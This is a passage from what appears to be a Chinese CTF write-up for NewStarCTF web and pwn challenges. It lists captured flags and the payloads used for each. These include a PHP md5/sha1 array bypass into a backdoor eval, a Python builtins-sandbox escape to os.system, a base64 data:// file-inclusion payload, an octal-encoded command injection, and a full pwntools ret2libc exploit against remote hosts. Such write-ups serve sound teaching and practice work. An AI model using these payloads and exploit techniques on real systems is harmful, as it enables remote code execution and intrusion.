"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0"
}
payload = {
"user_input" : text
}
response = session.post(url, data=payload, headers=headers)
soup=BeautifulSoup(response.text,'lxml')
text = soup.select("p")[1].text
print(text)
遗失的拉链
flag{d885117e-2d04-44d2-8e17-f4cdfc4b345b}
界面和源代码都没有有用信息,尝试扫描目录
扫描到一个压缩包,保存到本地查看,在压缩包中找到一个pizwww.php
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";
}
}
显然,这是一个后门,要想md5和sha1相等,只要传入数组即可,传入数组会返回null
get参数传入new[]=1
post参数传入star[]=2&cmd=system('more /fl""ag');
拿到flag
复读机
flag{e8767161-ff29-44c5-8075-aa6e0eaa3d2a}
fenjing秒了
Week 3
臭皮踩踩背
flag{23b1c298-e5c3-4335-a151-349234b6d17f}
def ev4l(*args):
print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
分析源码发现将内置函数清空了,需要利用 python 继承链来绕过
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat flag")
Include Me
flag{ac16362f-7e77-453b-b936-431e628f8477}
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}
//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}
waf();
include $_GET['me'];
echo "兄弟你好香";
?>
分析源码:
- 含有文件包含漏洞,me参数过滤了很多危险字符
- phpinfo变量不为空可以访问phpinfo
- iknow变量为空会自动搜索php伪协议
访问phpinfo,发现开了双on,可以用data伪协议来执行php代码
因为他过滤了php等字符,可以将其转为base64编码再url编码
data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJ2NhdCAvZmxhZycpOy8qMSovID8%2B
拿到flag
臭皮的计算机
flag{a70ef265-2f90-4e64-bb74-38c5d03cbaa4}
右键查看页面源代码
找到了源码,通过源码知道,输入的内容不能有字母,会将输入的内容通过eval执行
他已经导入了os模块,只要os.system('cat /flag')
就行了
考虑到他不允许输入字母,将payload转为八进制
payload:
\157\163\56\163\171\163\164\145\155\50\47\143\141\164\40\57\146\154\141\147\47\51
在输入框中输入payload
Pwn
Week 1
Real Login
flag{e26b1574-1d6d-412c-94d1-22ff9a7024dc}
IDA打开附件
你输入的字符和password相等就能获得权限
password的值
Game
flag{f00a1e10-939a-439e-85ce-34ccddca8658}
IDA打开文件
就是输入小于10大于0的数,最后大于999就能拿到权限
输入9.5就能获得flag
gdb
flag{fee42e97-a3ac-4de1-a003-716944ba9aff}
看伪代码,是将0d000721
进行加密,在与用户输入字符串进行比对,正确输出flag,加密代码看不懂,根据提示使用GDB进行调试
得到了s的值,直接在nc输入发现没用,利用pwntools进行发送
exp
from pwn import *
p = remote("101.200.139.65",34864)
p.recvuntil(b"Input your encrypted data:")
payload = b"]\x1dCUSEWE"
p.send(payload)
while True:
s = p.recvline()
print(s)
if s in b"}":
break
Week 2
ez_game
flag{174e3993-6ef9-42ae-91f6-df1a02b3569b}
栈溢出,但是没有system和/bin/sh,开启了NX保护,利用libc泄露system函数地址
64位程序,先找寄存器rdi地址,gdb-peda里输入ropsearch "pop rdi ; ret"
先获取read的真实地址
pop_rdi_ret_addr = 0x00400783
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']
offset = 88
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.recvuntil(b"Welcome to NewStarCTF!!!!")
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
获取到read的真实地址后就能计算libc的基地址
附件虽然给了so文件,但是不知道为什么获取不到shell,可以用LibcSearcher来做
函数的真实地址 = 基地址 + 偏移地址
exp
from pwn import *
from LibcSearcher import *
e = ELF("attachment")
p = remote("8.147.132.32", 13453)
pop_rdi_ret_addr = 0x00400783
puts_plt = e.plt['puts']
read_got = e.got['read']
main_addr = e.symbols['main']
offset = 88
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.recvuntil(b"Welcome to NewStarCTF!!!!")
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
'''
libc_base = read_real_addr - libc.sym["read"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
'''
libc = LibcSearcher('read', read_real_addr)
libc_base = read_real_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b"a" * offset
payload += p64(0x00400509)
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
sleep(1)
p.send(payload)
p.interactive()